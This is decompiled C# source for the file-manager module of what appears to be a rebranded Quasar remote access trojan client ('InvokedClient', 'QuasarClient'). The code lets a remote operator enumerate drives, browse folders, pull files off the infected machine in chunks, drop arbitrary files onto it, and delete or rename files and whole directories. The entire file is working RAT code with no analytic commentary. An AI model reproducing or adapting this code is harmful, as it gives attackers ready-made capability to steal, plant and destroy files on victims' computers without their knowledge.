﻿// Decompiled with JetBrains decompiler
// Type: InvokedClient.MessageHandlers.FileManagerHandler
// Assembly: Client, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 79DD3210-3359-47C5-932E-9352F2CB8134
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\client.exe

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security;
using System.Threading;
using InvokedClient.Networking;
using InvokedCommon;
using InvokedCommon.Enums;
using InvokedCommon.Extensions;
using InvokedCommon.Helpers;
using InvokedCommon.IO;
using InvokedCommon.MessageHandlers;
using InvokedCommon.Messages;
using InvokedCommon.Models;
using InvokedCommon.Networking;


namespace InvokedClient.MessageHandlers
{
	public class FileManagerHandler : NotificationMessageProcessor, IDisposable
	{
		private readonly ConcurrentDictionary<int, FileSplit> _activeTransfers = new ConcurrentDictionary<int, FileSplit>();
		private readonly Semaphore _limitThreads = new Semaphore(2, 2);
		private readonly QuasarClient _client;
		private CancellationTokenSource _tokenSource;
		private CancellationToken _token;

		public FileManagerHandler(QuasarClient client)
		{
			this._client = client;
			this._client.ClientState += new Client.ClientStateEventHandler(this.OnClientStateChange);
			this._tokenSource = new CancellationTokenSource();
			this._token = this._tokenSource.Token;
		}

		private void OnClientStateChange(Client s, bool connected)
		{
			if (connected)
			{
				this._tokenSource?.Dispose();
				this._tokenSource = new CancellationTokenSource();
				this._token = this._tokenSource.Token;
			}
			else
				this._tokenSource.Cancel();
		}

		public override bool CanExecute(IMessage message)
		{
			switch (message)
			{
				case GetDrives _:
				case GetDirectory _:
				case FileTransferRequest _:
				case FileTransferCancel _:
				case FileTransferChunk _:
				case DoPathDelete _:
					return true;
				default:
					return message is DoPathRename;
			}
		}

		public override bool CanExecuteFrom(ISender sender) => this._client.Equals((object)sender);

		public override void Execute(ISender sender, IMessage message)
		{
			switch (message)
			{
				case GetDrives command:
					this.Execute(sender, command);
					break;
				case GetDirectory message1:
					this.Execute(sender, message1);
					break;
				case FileTransferRequest message2:
					this.Execute(sender, message2);
					break;
				case FileTransferCancel message3:
					this.Execute(sender, message3);
					break;
				case FileTransferChunk message4:
					this.Execute(sender, message4);
					break;
				case DoPathDelete message5:
					this.Execute(sender, message5);
					break;
				case DoPathRename message6:
					this.Execute(sender, message6);
					break;
			}
		}

		private void Execute(ISender client, GetDrives command)
		{
			DriveInfo[] array;
			try
			{
				array = ((IEnumerable<DriveInfo>)DriveInfo.GetDrives()).Where<DriveInfo>((Func<DriveInfo, bool>)(d => d.IsReady)).ToArray<DriveInfo>();
			}
			catch (IOException ex)
			{
				client.Send<SetStatusFileManager>(new SetStatusFileManager()
				{
					Message = "GetDrives I/O error",
					SetLastDirectorySeen = false
				});
				return;
			}
			catch (UnauthorizedAccessException ex)
			{
				client.Send<SetStatusFileManager>(new SetStatusFileManager()
				{
					Message = "GetDrives No permission",
					SetLastDirectorySeen = false
				});
				return;
			}
			if (array.Length == 0)
			{
				client.Send<SetStatusFileManager>(new SetStatusFileManager()
				{
					Message = "GetDrives No drives",
					SetLastDirectorySeen = false
				});
			}
			else
			{
				Drive[] driveArray = new Drive[array.Length];
				for (int index = 0; index < driveArray.Length; ++index)
				{
					try
					{
						string str1;
						if (string.IsNullOrEmpty(array[index].VolumeLabel))
							str1 = string.Format("{0} [{1}, {2}]", (object)array[index].RootDirectory.FullName, (object)array[index].DriveType.ToFriendlyString(), (object)array[index].DriveFormat);
						else
							str1 = string.Format("{0} ({1}) [{2}, {3}]", (object)array[index].RootDirectory.FullName, (object)array[index].VolumeLabel, (object)array[index].DriveType.ToFriendlyString(), (object)array[index].DriveFormat);
						string str2 = str1;
						driveArray[index] = new Drive()
						{
							DisplayName = str2,
							RootDirectory = array[index].RootDirectory.FullName
						};
					}
					catch (Exception ex)
					{
					}
				}
				client.Send<GetDrivesResponse>(new GetDrivesResponse()
				{
					Drives = driveArray
				});
			}
		}

		private void Execute(ISender client, GetDirectory message)
		{
			bool isError = false;
			string statusMessage = (string)null;
			Action<string> action = (Action<string>)(msg =>
			{
				isError = true;
				statusMessage = msg;
			});
			try
			{
				DirectoryInfo directoryInfo = new DirectoryInfo(message.RemotePath);
				FileInfo[] files = directoryInfo.GetFiles();
				DirectoryInfo[] directories = directoryInfo.GetDirectories();
				FileSystemEntry[] fileSystemEntryArray = new FileSystemEntry[files.Length + directories.Length];
				int num = 0;
				int index1 = 0;
				while (index1 < directories.Length)
				{
					fileSystemEntryArray[index1] = new FileSystemEntry()
					{
						EntryType = FileType.Directory,
						Name = directories[index1].Name,
						Size = 0L,
						LastAccessTimeUtc = directories[index1].LastAccessTimeUtc
					};
					++index1;
					++num;
				}
				for (int index2 = 0; index2 < files.Length; ++index2)
					fileSystemEntryArray[index2 + num] = new FileSystemEntry()
					{
						EntryType = FileType.File,
						Name = files[index2].Name,
						Size = files[index2].Length,
						ContentType = new ContentType?(Path.GetExtension(files[index2].Name).ToContentType()),
						LastAccessTimeUtc = files[index2].LastAccessTimeUtc
					};
				client.Send<GetDirectoryResponse>(new GetDirectoryResponse()
				{
					RemotePath = message.RemotePath,
					Items = fileSystemEntryArray
				});
			}
			catch (UnauthorizedAccessException ex)
			{
				action("GetDirectory No permission");
			}
			catch (SecurityException ex)
			{
				action("GetDirectory No permission");
			}
			catch (PathTooLongException ex)
			{
				action("GetDirectory Path too long");
			}
			catch (DirectoryNotFoundException ex)
			{
				action("GetDirectory Directory not found");
			}
			catch (FileNotFoundException ex)
			{
				action("GetDirectory File not found");
			}
			catch (IOException ex)
			{
				action("GetDirectory I/O error");
			}
			catch (Exception ex)
			{
				action("GetDirectory Failed");
			}
			finally
			{
				if (isError && !string.IsNullOrEmpty(statusMessage))
					client.Send<SetStatusFileManager>(new SetStatusFileManager()
					{
						Message = statusMessage,
						SetLastDirectorySeen = true
					});
			}
		}

		private void Execute(ISender client, FileTransferRequest message)
		{
			new Thread((ThreadStart)(() =>
			{
				this._limitThreads.WaitOne();
				try
				{
					using (FileSplit fileSplit = new FileSplit(message.RemotePath, FileAccess.Read))
					{
						this._activeTransfers[message.Id] = fileSplit;
						this.OnReport("File upload started");
						foreach (FileChunk fileChunk in fileSplit)
						{
							if (!this._token.IsCancellationRequested)
							{
								if (this._activeTransfers.ContainsKey(message.Id))
									this._client.SendBlocking<FileTransferChunk>(new FileTransferChunk()
									{
										Id = message.Id,
										FilePath = message.RemotePath,
										FileSize = fileSplit.FileSize,
										Chunk = fileChunk
									});
								else
									break;
							}
							else
								break;
						}
						client.Send<FileTransferComplete>(new FileTransferComplete()
						{
							Id = message.Id,
							FilePath = message.RemotePath
						});
					}
				}
				catch (Exception ex)
				{
					client.Send<FileTransferCancel>(new FileTransferCancel()
					{
						Id = message.Id,
						Reason = "Error reading file"
					});
				}
				finally
				{
					this.RemoveFileTransfer(message.Id);
					this._limitThreads.Release();
				}
			})).Start();
		}

		private void Execute(ISender client, FileTransferCancel message)
		{
			if (!this._activeTransfers.ContainsKey(message.Id))
				return;
			this.RemoveFileTransfer(message.Id);
			client.Send<FileTransferCancel>(new FileTransferCancel()
			{
				Id = message.Id,
				Reason = "Canceled"
			});
		}

		private void Execute(ISender client, FileTransferChunk message)
		{
			try
			{
				if (message.Chunk.Offset == 0L)
				{
					string str = message.FilePath;
					if (string.IsNullOrEmpty(str))
						str = FileHelper.GetTempFilePath("." + message.FileExtension);
					if (File.Exists(str))
						NativeMethods.DeleteFile(str);
					this._activeTransfers[message.Id] = new FileSplit(str, FileAccess.Write);
					this.OnReport("File download started");
				}
				if (!this._activeTransfers.ContainsKey(message.Id))
					return;
				FileSplit activeTransfer = this._activeTransfers[message.Id];
				activeTransfer.WriteChunk(message.Chunk);
				if (activeTransfer.FileSize != message.FileSize)
					return;
				client.Send<FileTransferComplete>(new FileTransferComplete()
				{
					Id = message.Id,
					FilePath = activeTransfer.FilePath
				});
				this.RemoveFileTransfer(message.Id);
			}
			catch (Exception ex)
			{
				this.RemoveFileTransfer(message.Id);
				client.Send<FileTransferCancel>(new FileTransferCancel()
				{
					Id = message.Id,
					Reason = "Error writing file"
				});
			}
		}

		private void Execute(ISender client, DoPathDelete message)
		{
			bool isError = false;
			string statusMessage = (string)null;
			Action<string> action = (Action<string>)(msg =>
			{
				isError = true;
				statusMessage = msg;
			});
			try
			{
				switch (message.PathType)
				{
					case FileType.File:
						File.Delete(message.Path);
						client.Send<SetStatusFileManager>(new SetStatusFileManager()
						{
							Message = "Deleted file",
							SetLastDirectorySeen = false
						});
						break;
					case FileType.Directory:
						Directory.Delete(message.Path, true);
						client.Send<SetStatusFileManager>(new SetStatusFileManager()
						{
							Message = "Deleted directory",
							SetLastDirectorySeen = false
						});
						break;
				}
				this.Execute(client, new GetDirectory()
				{
					RemotePath = Path.GetDirectoryName(message.Path)
				});
			}
			catch (UnauthorizedAccessException ex)
			{
				action("DeletePath No permission");
			}
			catch (PathTooLongException ex)
			{
				action("DeletePath Path too long");
			}
			catch (DirectoryNotFoundException ex)
			{
				action("DeletePath Path not found");
			}
			catch (IOException ex)
			{
				action("DeletePath I/O error");
			}
			catch (Exception ex)
			{
				action("DeletePath Failed");
			}
			finally
			{
				if (isError && !string.IsNullOrEmpty(statusMessage))
					client.Send<SetStatusFileManager>(new SetStatusFileManager()
					{
						Message = statusMessage,
						SetLastDirectorySeen = false
					});
			}
		}

		private void Execute(ISender client, DoPathRename message)
		{
			bool isError = false;
			string statusMessage = (string)null;
			Action<string> action = (Action<string>)(msg =>
			{
				isError = true;
				statusMessage = msg;
			});
			try
			{
				switch (message.PathType)
				{
					case FileType.File:
						File.Move(message.Path, message.NewPath);
						client.Send<SetStatusFileManager>(new SetStatusFileManager()
						{
							Message = "Renamed file",
							SetLastDirectorySeen = false
						});
						break;
					case FileType.Directory:
						Directory.Move(message.Path, message.NewPath);
						client.Send<SetStatusFileManager>(new SetStatusFileManager()
						{
							Message = "Renamed directory",
							SetLastDirectorySeen = false
						});
						break;
				}
				this.Execute(client, new GetDirectory()
				{
					RemotePath = Path.GetDirectoryName(message.NewPath)
				});
			}
			catch (UnauthorizedAccessException ex)
			{
				action("RenamePath No permission");
			}
			catch (PathTooLongException ex)
			{
				action("RenamePath Path too long");
			}
			catch (DirectoryNotFoundException ex)
			{
				action("RenamePath Path not found");
			}
			catch (IOException ex)
			{
				action("RenamePath I/O error");
			}
			catch (Exception ex)
			{
				action("RenamePath Failed");
			}
			finally
			{
				if (isError && !string.IsNullOrEmpty(statusMessage))
					client.Send<SetStatusFileManager>(new SetStatusFileManager()
					{
						Message = statusMessage,
						SetLastDirectorySeen = false
					});
			}
		}

		private void RemoveFileTransfer(int id)
		{
			if (!this._activeTransfers.ContainsKey(id))
				return;
			this._activeTransfers[id]?.Dispose();
			this._activeTransfers.TryRemove(id, out FileSplit _);
		}

		public void Dispose()
		{
			this.Dispose(true);
			GC.SuppressFinalize((object)this);
		}

		protected virtual void Dispose(bool disposing)
		{
			if (!disposing)
				return;
			this._client.ClientState -= new Client.ClientStateEventHandler(this.OnClientStateChange);
			this._tokenSource.Cancel();
			this._tokenSource.Dispose();
			foreach (KeyValuePair<int, FileSplit> activeTransfer in this._activeTransfers)
				activeTransfer.Value?.Dispose();
			this._activeTransfers.Clear();
		}
	}
}